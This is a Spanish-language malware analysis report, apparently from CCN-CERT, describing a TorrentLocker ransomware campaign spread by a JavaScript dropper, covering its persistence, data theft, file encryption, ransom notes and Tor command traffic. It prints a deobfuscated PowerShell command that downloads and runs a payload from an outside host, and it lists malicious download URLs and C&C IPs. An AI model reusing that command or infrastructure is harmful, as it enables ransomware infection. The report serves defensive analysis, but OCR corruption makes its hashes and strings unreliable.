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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningun caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizaciéon de la
informacidn y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccién parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a Incidentes
de Seguridad de la Informacién del Centro Criptolégico Nacional, CCN
(www.ccn.cni.es). Este servicio se cred en el ano 2006 como el CERT
Gubernamental/Nacional espanol y sus funciones quedan recogidas en la Ley 11/2002
reguladora del Cenfro Nacional de Inteligencia, el RD 421/2004 regulador del CCN vy
en el RD 3/2010, de 8 de enero, regulador del Esquema Nacional de Seguridad (ENS),
modificado por el RD 951/2015 de 23 de octubre.

De acuerdo a todas ellas, es competencia del CCN-CERT la gestiébn de
ciberincidentes que aofecten a sistemas del Sector Piblico, a empresas y
organizaciones de interés estratégico para el pais y a cualquier sistema clasificado. Su
misidn, por tanto, es contribuir a la mejora de la ciberseguridad espaiola, siendo el
centro de alerta y respuesta nacional que coopere y ayude a responder de forma
rédpida y eficiente a los ciberataques y a afrontar de forma activa las ciberamenazas
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2. RESUMEN EJECUTIVO

El fichero analizado en este informe corresponde a un dropper escrito en
lenguaje JavaScript y destinado a ser ejecutado en la plataforma WSH! (Windows
Script Host) de Microsoft.

Dicho cddigo es el encargado de la descarga una carga (payload), qué serd
ejecutada mediante el intérprete de comandos PowerShell. El contenido de la
aplicacion danina estd protegido mediante ofuscacion obtenida utilizando el packer
Nullsoft. La funcion de los packers es ofuscar el cddigo ejecutable de tal forma que
éste pase desapercibido frente a los antivirus y, ademds, dificultar su andlisis.

El codigo danino que nos ocupa se ejecuta en cuatro fases, llegando a usar
hasta cinco procesos diferentes para ello. El primer proceso se encargard de asegurar
la persistencia de la infeccidn en el equipo, el segundo persigue obtener informacioén
sobre la mdaquina infectada y de su envio al servidor de mando y control (C&C), el
tercer proceso se encarga del cifrado y de volverse a conectar con el C&C vy los ofros
servidores para realizar acciones de monitorizacién del equipo.

Una caracteristica destacable de este ejemplar estd en que utiliza una libreria de
cddigo abierto llamada LibTomCrypt en lugar de utilizar la CryptoAPI de Microsoft
Windows, como ocurre en la mayoria del Ransomware. Asimismo, también resulta
relevante el uso que se hace de los Tor Hidden Services para la comunicacion del
codigo danino con el servidor de mando y control (C&C).

Es importante resaltar que este fichero es una ejemplar del Ransomware
conocido como TorrentLocker, pero que se hace pasar por el ya extinto CryptoLocker.
Es por ello que las herramientas disenadas para la recuperacion de los ficheros
atacados con CryptolLocker ya no funcionan debido a que ha cambiado cosas en el
proceso de cifrado.

Observando los valores hash de los binarios que se descargan con los diversos
droppers, se puede llegar a la conclusion de que existen tres campanas diferenciadas
en el momento de redaccién de este informe. Esta campaia en concreto parece
haber afectado principalmente a Europa, teniendo una nota de rescate especifica
para cada pais. Como suele ser lo habitual, la distribucién del cddigo se ha hecho
mediante campanas de Phishing y Spam con ficheros adjuntos.

3. CARACTERISTICAS DEL CODIGO DANINO

Las acciones realizadas por el cédigo dafiino son:

- Descarga y ejecuta mediante el intérprete de comandos PowerShell el
cddigo del ransomware TorrentLocker.

- Crea dos procesos iniciales y los oculta bajo el nombre de explorer.exe.
Cuando acaba la fase de cifrado, puede generar mds procesos con este
nombre.

- Lista y cifra los ficheros no coincidentes con su lista de extensiones excluidas.
- Cifralos ficheros sdlo en el caso de que se cuente con conexidn a Internet.

- Ataca a los discos locales y remotos, asi como a los medios extraibles que
pudiesen estar conectados.

1 Ver https://en.wikipedia.org/wiki/Windows_Script _Host
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- Incluye medidas para obtener la persistencia y replicacidén en el equipo
mediante la inclusién de entradas adecuadas en el registro de Windows.

- Emplea Tor Hidden Services para comunicarse con el servidor de mando y
control (C&C).

- Utiliza librerias externas para el cifrado de los ficheros (en concreto,
LibTomCrypt).

- Roba informacién almacenada en la mdquina victima para su posterior
envio al cibercriminal de la campana.

4. DETALLES GENERALES
4.1 MUESTRAS ANALIZADAS

Todos las muestras se refieren al dropper con el nombre facturas.js.

Debido a la tecnologia que utilizan para ofuscar el cédigo ejecutable, cada
muestra es diferente en lo que se refiere al nombrado de variables. Sin embargo, en
cuanto a su funcionamiento, fodas ellas presentan grandes similitudes entre ellas.

A continuacién, se enumeran una serie de valores hash relacionados con las
diversas muestras analizadas, asi como la URL desde las que se descargan del coddigo

danino (payload) propiamente dicho, y el nombre que le oforgan al mismo.

SHA-256

URL desofuscada

Renombrado del
binario

57f511d3061b2a33c9cd?2eb6cf43cefé6b5321c35e6723ad2dbc76076ee
3b1d7c

http://cyjt.com/left.lop

nrila.exe

SHA-256

URL desofuscada

Renombrado del
binario

62cbab082bbe70aé5ff955bae330cé5616fbddd536a3567604c0166e20
50335d

http://saudail-alpin.no/point.gkp

cfugnanh.exe

SHA-256

URL desofuscada

Renombrado del
binario

98a17da310e2f6251b2f1466c797844c72bb69497001974f1f5a58cdd 79
8ef8

http://arkatechknowledges.com/wp-admin/link.rew

tfapo.exe

SHA-256

URL desofuscada

Renombrado del
binario

60f7518326242a0d383053d3a728c00déb34040ead2d1934cabbb1c43
970c2a9

http://quatang.thackhoi.com/system.ohp

irab.exe

SHA-256

URL desofuscada

Renombrado del
binario

a99fedéf14eb01a2c94bbé97a98378e8cccbaléd42d26aa06f9f98c7000
c43377

http://adnangundogduyurdu.com/getffile1.pjo

ugcupso.exe
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SHA-256 09130844bc229b027bb2fef?d2c9c3082e11089b34830bb7ec0f?e6d97
b50e43

URL desofuscada  hitp://adnangundogduyurdu.com/geffile1.pjo

Renombrado del ugcupso.exe
binario

60a51
URL desofuscada  hitp://activmedia.net/license.ix

Renombrado del azsaruzt.exe
binario

SHA-256 ceed66159%ef9e7t3b9d240a763800cfe2f327373a5dd26c476417234343

74cf4d94

URL desofuscada  hitp://biotechclinical.com/leet.tjr
Renombrado del jiguc.exe
binario

SHA-256 d5ba582e2f21cd4cé4a53bdc8ceé8dea8caf5e223dalcedbecc7724a4

2ebd10
URL desofuscada  hitp://www.girokonto.club/wp-conf.ghj

Renombrado del kxangypwy.exe
binario

SHA-256 eea29a4882795ae27ddc27f66f8f2743a51d3379365086514967bbécb4

5. PROCEDIMIENTO DE INFECCION

El cédigo danino que se ejecuta en esta campana es un script escrito en
lenguaje JavaScript que es ejecutado por el motor Windows Script Host dentro del

equipo de la victima.

Mediante la combinacion del andlisis estatico del cddigo y de la depuracién de
la ejecucion del JavaScript se puede establecer el siguiente orden de ejecucion:

e El script crea un objeto de tipo FileSystemObject? a través de WScript, que sélo
estd disponible en el entorno de Windows Script Host. Aunque el equipo sed
Windows, si el nombre de la unidad principal de almacenamiento no tuviera la
etiqueta C:, el cédigo danino no se ejecutaria. El cédigo de este proceso

puede consultarse en el apartado ANEXO A..

e A continuacion invoca una consola del intérprete PowerShell que establece
una serie de variables que aparecen ofuscadas, para luego ejecutar una
funcion de desofuscacion con algunas de esas variables como pardmetros
(Ver apartado 2. CONSOLA POWERSHELL). A continuacién se puede ver cudl es

el resultado de la ejecucion de dicho método:

Invoke-Expression (Set-ExecutionPolicyBypass -Scope Process;
path=(Senv:temp"\nrila.exe);
(New-Object

Start-Process Spath);

System.Net.Webclient).DownloadFile("http://cyjt.com/left.lop”,Spath);

Descarga la carga (payload) mediante PowerShell.

2 Este paso solo estd presente en las tres primeras muestras enumeradas anteriormente.
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6. CARACTERISTICAS TECNICAS

La primera accién a realizar por el cédigo descargado por el dropper es la de
desempaquetar el propio cddigo danino. Dicho proceso se realiza empleando la
herramienta NSIS (Nullsoft Scriptable Install System).

Una vez extraido el cédigo ejecutable se genera una libreria dindmica llamada
monkshood.dll, que contiene el cédigo dafino a ejecutar. Este se encarga de la
persistencia de la infeccidn, en concreto, se encarga de copiar el propio ejecutable
en C:\Windows y en C:\ProgramData para, posteriormente, escribir dos entradas en el
registro de modo que el cddigo danino siempre que se ejecute al iniciarse la mdaquina.

Una vez hecho esto, se procede a crear un nuevo proceso hijo del ejecutable
principal. Ese hilo realizard las tareas de iniciar el Cryptographic Service Provider y
obtener informacién del equipo como MachineGUID, DigitalProductiD e InstaliDate,
gue estdn presentes en el registro de Windows.

llustracion 1: Creacién del proceso hijo

Este proceso hijo a su vez crea un nuevo proceso, al que llamard explorer.exe
con la intencidén de hacerse pasar por el proceso del sistema y conseguir con ello
discrecion.

6.1 EXFILTRACION DE INFORMACION

Antes de afrontar el cifrado de los ficheros, este ransomware se dedica a
recoger informacién critica sobre algunos de los servicios activos en la mdquina
infectada.

6.1.1 CUENTAS DE CORREO

En primer lugar, consulta en el registro a ver si existe una cuenta de correo
electronico por defecto, generando una senal de error en caso de no haberla
encontrado.

12:12:35,6308828 explorer exe 7960 BE RegQuenfey HKCU

1212356309106 | 5 explorer xe 2960 @4 RegSetinfokey HHKCUN Seftware\Clients\Mail
1212356309183 | explorer exe 2960 ﬁHegOuewValue HKC U Softwane'Clients \Mail'[Default)
12:12:35,6309254 | 5 explorer e 2960 #Heg@uew\falue HKC U Software"\Clients\Mail\(Defautt)
1212:35,6309451 | explorer exe 2960 ﬁHegOuewl‘(&y HKLM

12:12:35,6309871 |5 explorer.exe 2960 % ReqSetinfoley HKLM\SOFTWARE \Clients\Mail
1212:35,6309936 | explorer exe 2960 ﬁHegOuewValue HKLM\SOFTWARE Clients'\Mail\([Defautt)

llustracién 2: consulta cuenta de correo
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Correo electronico

]

[me3el

Mo hay ningln programa de correc electrénice asociadeo para realizar la accian
requerida. Instale un programa de correo electrénice o, siya hay uno instalado,
cree una asociacién en el panel de control de Programas predeterminados.

llustracién 3: cuenta de correo no encontrada

Si esta comprobaciéon es afiimativa y hay una cuenta de correo electrénico
por defecto, accederd a sus ficheros criticos como son, en el caso del agente
Thunderbird, el fichero cert8.db (certificados de seguridad) y el fichero key3.db

(contrasenas).

Ademds de esto, el cddigo danino también analiza la configuracién del perfil
de usuario de correo electrénico y lee los ficheros que contfienen los correos
enviados, recibidos, los borradores, etc.

OTROS ELEMENTOS CONSULTADOS

Ademds

lo anterior,

esta versibn de TorrentLocker también recoge

informacion sobre la ubicacidon aproximada de la mdguina atacada, asi como datos
relativos al navegador Internet Explorer corriendo en ella.

explorer.exe
explorer.exe
explarer.exe

explarer.exe

672
672
672
672

Event
File
File
File

‘KernelObjeds\MaximumCommitConditi..,
ChiWindows'SysWOWe4'\es-E5KernelBa..,
ChilUsersisuario\Contacts

CiWindows\winsks'x86_microsoft.wind..,

llustracién 4. Acceso a contactos

\REGISTRY\USER\5-1-5-21 -1203347403-398373298 86923656 -1 000\ Software\Microsoft\Windows NT\CurrentVersion\Network\Location Awareness
\REGISTRY\USER\5-1-5-21 -1203347403-398373298 -36923656-1 000" Software\ Micros oft\Win dows\CurrentVersion'\Explorer
\REGISTRYWUSERYS-1-5-21-1203347403 396373295 -86923656-1 000" Software\ Microsoft\Windows\CurrentVersion\Internet Settings
\REGISTRYWUSER\S-1-5-21-1203347403-395373 295869236 56-1 000" Software' Microsoft\Windows\ CurrentVersion\Internet Settings
\REGISTRYWUSERYS-1-5-21-1203347403 396373295 -86923656-1 000N Software\ Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
\REGISTRYWUSERYS-1-5-21-1203347403-3983732958-86923656-1 000" Software\ Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
\REGISTRY\USER\5-1-5-21-1203347403-395373295 869236561 000" Software\Policies
\REGISTRY\USER\5-1-5-21-1203347403-395373295 -86923656-1000' Software\Palicies
\REGISTRYWUSERYS-1-5-21-1 203347403 -398373 295 -869 236 56-1 000 Software\ Policies\Microsoft\Windows\ CurrentVersion\Internet Settings
\REGISTRYWUSER\5-1-5-21 -1203347403-398373298 -86923656-1000_CLASSES
\REGISTRY\USER\5-1-5-21-1203347403-398373298 -36923656-1000_CLASSES

\Sessions\l\BaseNamedObjedts

\Sessionsil\BaseNamedObjects\IETId Mutex
\Sessions'l\BaseNamedObjects'_MSFTHISTORY!.
\Sessionsil\BaseNamedObjeds\cluserslusuariolappdatallocalmicrosoft'windows! history'history.ie5!
\Sessions'l\BaseNamedObjeds\cluserslusuariolappdatallocalmicrosoftiwindows!temporary internet fileslcontent.ie5!
\SessionsiliBaseNamedObjeds\cluserslusuariolappdatalroaming!microsoftiwindows! cookies!
\Sessionsil\BaseNamedObjects\C_Users_Usuario_AppData_Local_Microsoft_Windows_History_HistoryIES_index.dat 49152

llustracién 5. Acceso a datos de IE
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Asimismo, también accede y modifica opciones del registro de Windows, que
estdn relacionadas con la trazabilidad de los ficheros.

\REGISTRY\MACHIME\SOFTWARE\Classes\MIME'\Database\Content Type'text/plain

\REGISTRYMACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\REGISTRYMACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\REGISTRYAMACHIME\SOFTWARE!Policies

\REGISTRYMACHINE\SOFTWARE!Palicies

\REGISTRY\MACHINE\SOFTWARE\Palicies'\Microsoft\Windows\CurrentVersion\Internet Settings
\REGISTRYMACHINE\SOFTWARE\Wowg432Node

\REGISTRYMACHIME\SOFTWARE\Wowb432Node

\REGISTRY\MACHINE\SOFTWARE\Wowg432Node'\Microsoft\nternet Explorer\ MAIN'FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
\REGISTRYMACHINE\SOFTWARE\Wowg432Node'\Microsoft\Internet Explorer\ MAIN\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN
\REGISTRYMACHINE\SOFTWARE\Wowg432Node'Microsoft\nternet Explorer\MAIN'FeatureControl\FEATURE_UNC_SAVEDFILECHECK
\REGISTRY\MACHIME\SOFTWARE\Wowe432Nade\Micrasoft\Tracing\explorer_RASAPE2
\REGISTRYMACHINE\SOFTWARE\Wowg432Node'\MicrosoftiTracing'explarer_ RASMANCS

llustracion é. Acceso a opciones de trazabilidad, ejecutables e Internet
6.2 CIFRADO DE FICHEROS

Las muestras analizadas realizan un recorrido del sistema de ficheros, se hace
con varios hilos (threads) comunicdndose entre si dentro del esquema
Productores/Trabajadores basado en espera activa. Esta organizacién permite la
paralelizacion del proceso de cifrado, asi como dificultar la tarea de andlisis del
binario.

Para tomar la decision de qué ficheros debe cifrar y cudles no, este cddigo
danino opta por utilizar una lista negra de extensiones que nunca va a cifrar. Esta lista
de excluidos es la siguiente:

.exe dil .Sys .vdx .com .msi .scr .cpl

.bat .cmd .Ink .url Jdog

Una vez elegidos los ficheros que tiene que cifrar, el cddigo dafino accede a
ellos de forma paralela desde varios hilos de ejecucién, acelerando el proceso vy
evitando quedarse atrapado en el cifrado de ficheros excesivamente grandes. Antes
de redlizar el cifrado, el cédigo danino afade una extension compuesta por seis (6)
caracteres aleatorios en minuUsculas. Esta extension se incluye para cada fichero de
modo que, en este caso, no hay un indicio en el nombre de los ficheros cifrados de
cudl ha sido la aplicacion que los ha cifrado.
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explorer.exe 2100 Ch\Python2Tilibtest\decimaltestdata®dgCopySign.decTest.igalyt
explorer.exe 2100 Ch\Python27\Lib\re.py.orasih

explorer.exe 2100 Ch\Python27\Lib\test\test_codecmaps_cn.py.irunef

explorer.exe 2100 CA\Python27\Lib\test\greyrgb, uue. odywol

explorer.exe 2100 Ch\Python2?\Lib\site. pyc exewut

explorer.exe 2100 C\Python27\Lib\SimpleXMLRPCServer. py.yjyfoj

explorer.exe 2100 C\Python27\Lib\test\test_sys_settrace.py.ynerx

explorer.exe 2100 ChPython2?Libtest\decimaltestdata®dglogB.decTest.uhoqdc
explorer.exe 2100 C\Python2T\Lib\random.py.uloneh

explorer.exe 2100 Ch\Python27\Lib\test\decimaltestdata'compare.decTest.awaden
explorer.exe 2100 Ch\Python2?ilibvtest\badcert.pem.axzdef

explorer.exe 2100 Ch\Python2TLibtest\decimaltestdata'clamp.decTest.ufypeb
explorer.exe 2100 Ch\Python27\Lib\test\decimaltestdatadgFMA.decTest.aramun
explorer.exe 2100 CA\Python27\Lib\runpy.py.oqukar

explorer.exe 2100 Ch\Python2TLibtest\decimaltestdata®dgCanonical decTest.ozurav
explorer.exe 2100 C\Python2T\Lib\test\testimgr.uue.ogogeh

explorer.exe 2100 C\Python27\Lib\pydoc.pyc.agxgix

explorer.exe 2100 Ch\Python2?iLibtest\decimaltestdatatdqOr.decTest.alaxik
explorer.exe 2100 Ch\Python27Lib\test\decimaltestdata®ddCanonical.decTest.ejynis
explorer.exe 2100 Ch\Python27\Lib\rexec.py.ovakil

explorer.exe 2100 Ch\Python2?iLibtest\test_datetime.py.olohiw

explorer.exe 2100 Ch\Python2TLibtest\crashers\bogus_code_obj.py.egakol
explorer.exe 2100 C\Python27\Lib\shutil.py.umalal

explorer.exe 2100 CA\Python27\Lib\test\test_sys_setprofile, py.atavat

explorer.exe 2100 Ch\Python2?Libtest\test_descr.py.szyjal

explorer.exe 2100 C\Python2TLib\test\test_codecmaps_jp.py.cgysom

explorer.exe 2100 C\Python27Lib\test\test_charmapcodec. py.ovijut

explorer.exe 2100 Ch\Python2TLibtest\nokia.pem.hpogiq

explorer.exe 2100 Ch\Python27\Libtest\crashers

llustracion 7. Se puede apreciar la paralelizacién existente en el proceso de acceso a los
ficheros, asi como sus extensiones modificadas

Como algoritmo simétrico de cifrado se utiliza el AES tomdndolo de una libreria
de cdédigo abierto llamada LibTomCrypt3 que ofrece varios tipos de cifrado distintos. En
concreto, en este caso se emplea un cifrado AES-128 en modo de operacién CBC,
con un Vector de Inicializacién (IV) generado de forma aleatoria. La clave empleada
es Unica para cada infeccion.

ebp:Clave

llustracién 8. Comienzo del cédigo de LibTomCrypt AES-128 en modo CBC

3 http://www libtom.org/2page=features
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Jibtomcrypth\ciphers

Jibtomcrypthciphers

llustracién 9. Evidencia de uso de LibTomCrypt

La clave simétrica empleada en el cifrado con el algoritmo AES-128 se envia
cifrada al servidor de mando y control, mientras que el Vector de Inicializaciéon (V) es
escrito al final del fichero cifrado para permitir, en el caso de llegar a conocer la clave,
el descifrado del original.

poooocco 54 SF 48 20 24 2F OD OA 13 OF 6F 05 00 CO 0C 00 T_H =~ o A
Q0000cho 00 77 92 11 25 8E 05 C3 6C 1E 40 0D 37 2F FE 09w %1 &1 @ |-
ooooocED  7e v

llustracion 10. Ejemplo de vector de Inicializacién anadido al final del archivo

En caso de que el proceso de cifrado sea interrumpido (finalizacién del
proceso, apagado de la mdquina, etc.) este no serd reanudado. En su lugar, y si no
se alteran las claves de registro que proporcionan persistencia a este cdédigo, el
fichero binario se ejecutard de nuevo al reiniciar la mdaquina, con la Unica diferencia
de que esta vez solo mostrard las pantallas de rescate, omitiendo el proceso de
cifrado. Esto significa que aunque se muestre persistencia en el equipo y se creen
copias del ejecutable, si el proceso de cifrado es interrumpido a la mitad, este no
concluird, si no que lanzard las pantallas de rescate con la intencidon de obtener un
pago de los ficheros que hayan sido cifrados hasta ese momento.

6.3 NOTA DE RESCATE

A pesar de ser una variante del ransomware TorrentLocker, en las imdgenes de
rescate trata de confundir a la victima haciéndola pensar que se trata de un ejemplar
de CryptoLocker con el fin aparentemente de aprovecharse de su fama. Para mostrar
dicha informacién se sirve de tres recursos: HTML, una ventana del sistema (con la
misma informacién e ilustraciones que el HTML), y ficheros TXT.

ADVERTENCIA
nos cifrar sus archivos con CryptOLOcker

Los archivos mas importantes (incluidos los de los discos de red, USB, etc): fotos, videos, documentos, etc. se cifran con nuestro CryptOLOcker. La (inica manera de
restaurar los archivos es pagarnos. De lo contrario, se perderdn los archivos.

Precaucitn: Extraccidn de CryptOL0cker no restaurard el acceso a los archivos cifrados.

Para recuperar los archivos que tiene que pagar.

Con el fin de restaurar los archivos se abren nuestra pagina web http: //x5sbb5gespékawsh. questpul. pl/e3dbew3. phpluser_code=3hnfg7r&user_pass=8415y siga las

instrucciones.

Si la pagina web no esta disponible por favor, siga estos pasos:

1. Descargar e instalar TOR-navegador desde este enlace: https: / /www. torproject.org/download/download-easy. html.en

2. Después de la instalacion ejecutar el navegador y escriba la direccidn: http://xiodcédmizahhijj.onfon/e3dbow3. phpluser_code=3hnfg7r&user_pass=8415
3. Siga las instrucciones en a pagina web.

llustracién 11: HTML con instrucciones sobre el rescate
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| COMO_RESTAURAR_ARCHIVOS bx: Bloc de notas [=lE

Archivo Edicién  Formato  Ver Ayuda

111 nos cifrar sus archivos con CryptOLOcker !!!

Los archivos mas importantes (incluidos los de los discos de red, USB, etc):
fotos, videos, documentos, etc. se cifran con nuestro virus CryptOLOcker. La
unica manera de restaurar los archivos es pagarnos. De 1o contrario, se
perderan Tos archivos.

Para recuperar los archivos que tiene gque pagar.

con el fin de restaurar los archivos se abren nuestra pagina web
http://x5sbb5gespekzwsh. questpul. p1/e3dbew3. php?user_code=3hnfg7rauser_pass=§415
y siga las instrucciones.

5i la pagina web no esta disponible por favor, siga estos pasos:

1. pescargar e instalar TOR-navegador desde este enlace: https://mm.torprogect.org/down'\oad/down]oad—easy.htm'\.en

2. Después de la instalacion ejecutar el navegador y escriba la direccion: http://xiodcédmizahhijj.onion/e3dbcw3. php?user_code=3hnfg7r&user_pass=8415
3. 5iga Tas instrucciones en la pagina web.

llustracién 12: Fichero TXT con instrucciones sobre el rescate

7. CONEXIONES DE RED

Durante la ejecucion de este ransomware se realizan conexiones a diferentes
direcciones IP, algunas de ellas estdn incluidas directamente en cddigo fuente del
binario, y otras indicadas por dominios incluidos en el cddigo. Hay que distinguir dos
fipos de conexiones, las realizadas por el dropper y las realizadas por su carga
(payload) que es el cddigo danino descargado por el dropper.

7.1 CONEXIONES REALIZADAS POR EL DROPPER.

Las conexiones readlizadas por el dropper para cada muestra estudiada
aparecen en la secciéon 4.1 mds atrds4.] MUESTRAS ANALIZADAS.

7.2 CONEXIONES REALIZADAS DURANTE EL CIFRADO Y LA INFECCION

7.2.1 TRAFICO TOR

El ejecutable binario, motivo de este informe, en su funcionamiento normal
establece una gran cantidad de conexiones TCP, y todas ellas dirigidas a Tor Hidden
Services4. Para poder establecer conexién con el servicio objetivo, lo primero que
hace es conectar con once IPs que vienen embebidas en el cédigo:

106.185.28.25 37.235.56.180
163.172.185.132 88.200.73.100
31.31.76.169 46.183.218.199
62.113.216.177 46.101.142.174
208.83.223.34 185.98.86.131
173.79.62.159

Primer Paso:

Para poder realizar esta serie de comunicaciones, el servicio oculto ha tenido
que, previamente, elegir una serie de nodos de la red Tor como Puntos de Enfrada, a
fravés de los cuales, los clientes puedan establecer la comunicacién con el Servicio

4 Ver https://www.torproject.org/docs/hidden-services.html.en
https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf
https://qitweb.torproject.org/torspec.git/tree/rend-spec.ixt
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Oculto (Hidden Service). Estos Puntos son almacenados, junto a otra informacién
relevante del servicio como lo es la clave publica RSA que permita una comunicacion
cifrada, en una base de datos local.

- - ==
Tér Hidden Services: 1 Q) Torcious
A Tor circuit
Intreduction points
) m XD rubiic key
Step 1: Bob picks some ~—
intreduction points and - One-time secret
builds circuits to them. p—
/"' . Rendezvous point

llustracion 13. Primer paso de la comunicacion mediante Hidden Services

- . ==
TH¢ Hidden Services: 2 (O Torcioe
A Tor circuit
Intreduction points
| CD i

Step 2: Bob advertises —

his hidden service -- One-time secret

XYZ.onion - atthe .

database. Rendezvous point

llustracién 14. Primer paso de la comunicacién mediante Hidden Services (ll)

Segundo paso:

Mediante la conexién con alguna de las IP contenidas en el cédigo binario, se
consultan las bases de datos que contienen la informacién sobre los servicios y que
estdn basadas en tablas hash distribuidas siguiendo el protocolo Tor4.

Asimismo, el cddigo establece una conexidn con otro nodo escogido
aleatoriamente de entre los disponibles de la red; a ese nodo se le denomina
rendezvous point, y actia como intermediario entre la mdquina infectada y el servicio
oculto.
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TH¢ Hidden Services: 3

Step 3: Alice hears that

XYZ.onion exists, and she
requests more info from

the database. She also

sets up a rendezvous —_
point, though she could
have done this before. f .

{_‘_/" Tor eloud

AT Tor circuit
Intreduction points

&2 rubiic key

One-time secret

Rendazvous point

llustracién 15. Segundo paso de la comunicaciéon mediante Hidden Services

Tercer paso:

Una vez establecida dicha conexidén (mediante el protocolo HTTPS), conectard
con uno de los puntos de entrada del servicio oculto que se obtuvieron en la consulta
de la base de datos distribuida que estd presente en uno de los once servidores
incluidos en el cddigo fuente del binario.

Una vez elegido el punto de entrada en la red Tor se le envia, cifrado con la
clave publica del servicio, la direccidon del nodo rendezvous escogido y asi como un
secreto Unico (one-time secret) cuya finalidad es la de garantizar la continuidad de la
sesién. Cuando el servicio oculto contacte con el cliente, mostrard en esa conexién el
secreto Unico que recibid de éste.

TH¢ Hidden Services: 4

Step 4: Alice writes a

message to Bob

(encrypted to PK) listing

the rendezvous point m
and a one-time secret, = —

and asks an introduction &
pointto deliveritto Bob.

u Tor cloud

A Tor circuit
Introduction points

D ruiic key

One-time secret

Rendezvous paint

llustracién 16. Tercer paso de la comunicaciéon mediante Hidden Services
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Cuarto paso:

Una vez el servicio oculto ha recibido la informacién de la victima (direccién
cifrada del punto rendezvous vy su secreto Unico), procederd a descifrarlo con su clave
RSA privada y a establecer una comunicacion a través del nodo que actla como

rendezvous. Es en esa conexidén en la que presenta al cliente el secreto Unico que se le
entrego.

- - P
Tér Hidden Services: 5 () Torcoue

A Tor circuit
Intreduction points

Step 5: Bob connects to ﬂ D Fubic key

the Alice's rendezvous '— ’

i
point and provides her - Onefime ascest
one-time secret. _// _-"“\/ o Rendezvous point

llustracion 17. Cuarto paso de la comunicacién mediante Hidden Services
Quinto paso:
Establecida la conexiona través del nodo rendezvous, se procede a enviar

toda la informacién de la mdquina infectada, asi como de la clave simétrica con la
gue hard todo el cifrado de los ficheros de la mdquina infectada.

- - e
THr Hidden Services: 6 Q) Torcous
A Tor circuit
Intreduction points.
Step 6: Bob and Alice ﬂ m Public key
proceed to use their Tor = = '
circults like normal. _ EEANTD EE
J/"_ _"‘\V . Rendezvous point

llustracion 18. Quinto paso de la comunicaciéon mediante Hidden Services
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Direccidl
ooZ2EQ10D2

e = RN B Y
“d [T P TR0 D

; .
! 4IBEJCN
| 1BE5+D2e
| MFLSU1G
[ 7 3 SPRFLTEE
I 2 { O 43 (5 45 < 7 A%ils SEItwiu
L 3 = = 3 r b b F

L

L

0

L
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Q7 elqgy,
5h1551H
JAQMEAAE=. ——
--—-END R5A PUELI
O0ZED1FZ P

introduction

nt ikthfed4efz

md2palxztifv

b]H 1p addres
.228.90. ||r11 (W]

H port 15000. oni

on-key.----- BEGI

X =]
BEBNRRT
J O

=R Y]

S R
= [T L0«

Direccid| Hex | ascII
DO2EBACE ; /
DOZEBADS
O0ZEBAES

DO2EBAFS|33 70 &7 79|4E 3 £9(53 78 53 'E TA 20 4 *pgyh“r'l.—.u_-u-t z
O0ZEEBDS ;4 5O 2F |31 2 0D | 04 41 74 3A 20 31| TTP/1.0. Hn :
|_||_|:_EE|E|1 Wy 3 2 b | 2 ] 32| 2 E ] |||:'I A 0D Al 73.79.62.15

llustracion 21. Ejemplo de peticién a través de Tor

8. PERSISTENCIA EN EL SISTEMA
8.1 INICIO DEL SISTEMA

El cédigo daiino incluye una entrada en la configuracién del sistema

operativo (msconfig) que le asegura que la aplicacién atacante se ejecute cada
vez que se arranque el equipo.

L} Configuracién del sistema @
General | Arrangue | Servidos | Inido de Windows | Herramientas
Elemento de inicdio  Fabricante Comando Ubicacidn
V] iywysimyd Desconocido  "C:\ProgramData'bbyvttuz.exe™ HKCU\SOFTWARE \Microsoft\Windows)
4 I [3
Habilitar todos | Deshabilitar todos |
|_ Aceptar | | Cancelar | Aplicar Ayuda |

llustracién 22: Persistencia al inicio del equipo msconfig
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8.2 ENTRADAS ANADIDAS EN EL REGISTRO
8.2.1 ARRANQUE

En el msconfig aparece una entrada que estd presente en el registro del

sistema operativo Windows y que le permite al binario ejecutarse siempre que el
sistema se inicia.

Editar cadena
Nombre de valor:

yvysimyd

Informacian del valor:

"C:\Program Data*bbywituz exe

[ Aceptar ][ Cancelar

Equipc'HEEY_CURREMT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

llustracion 23: persistencia al inicio del equipo - registro (HKCU)

£ Tipo Datos
minado) REG_SZ (valor no establecido)
REG_SZ "C:\Windows\jfibanum.exe"

llustracién 24: Persistencia al inicio del equipo - registro (HKLM)

8.2.2 FONDO DE ESCRITORIO

De la misma manera, el cddigo danino edita la entrada del registro que
establece el fondo de escritorio para incluir suimagen de rescate.

Editar cadena

Mombre de valar:

Wallpaper

Informacion del valor:

C:\ProgramData'wluhprog.png|

[ Azeptar ][ Cancelar

llustracion 25: Persistencia en fondo de escritorio — registro

8.3 NUEVOS FICHEROS

Aungue en esta seccidén no se van a incluir los ficheros de rescate, si hay que
recordar que, como ya se especificd en la seccion NOTA DE RESCATE, se crea una
pdgina en HTML y se deja un fichero TXT en cada carpeta del sistema de ficheros que
contenga algun fichero cifrado por el cédigo danino. Por defecto, se deja ese mismo

fichero en el escritorio del usuario.
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8.3.1 DIRECTORIO TEMPORAL

Se crea una libreria extraida del packer NSIS, vy se trata del cédigo danino en si.

Nombre:

SHA-256:

monkshood.dll

1E151245AD63A8E9F563B7E09A29FBC9CDES3EBAD4E24A69
7237BAB00B0954C8

8.3.2 CARPETAS DEL SISTEMA

En las rutas C:\ProgramData\ y C:\Windows\ crea una imagen, una carpetay
un ejecutable que son las siguientes:

Imagen
inudicaj.png

SHA-256:

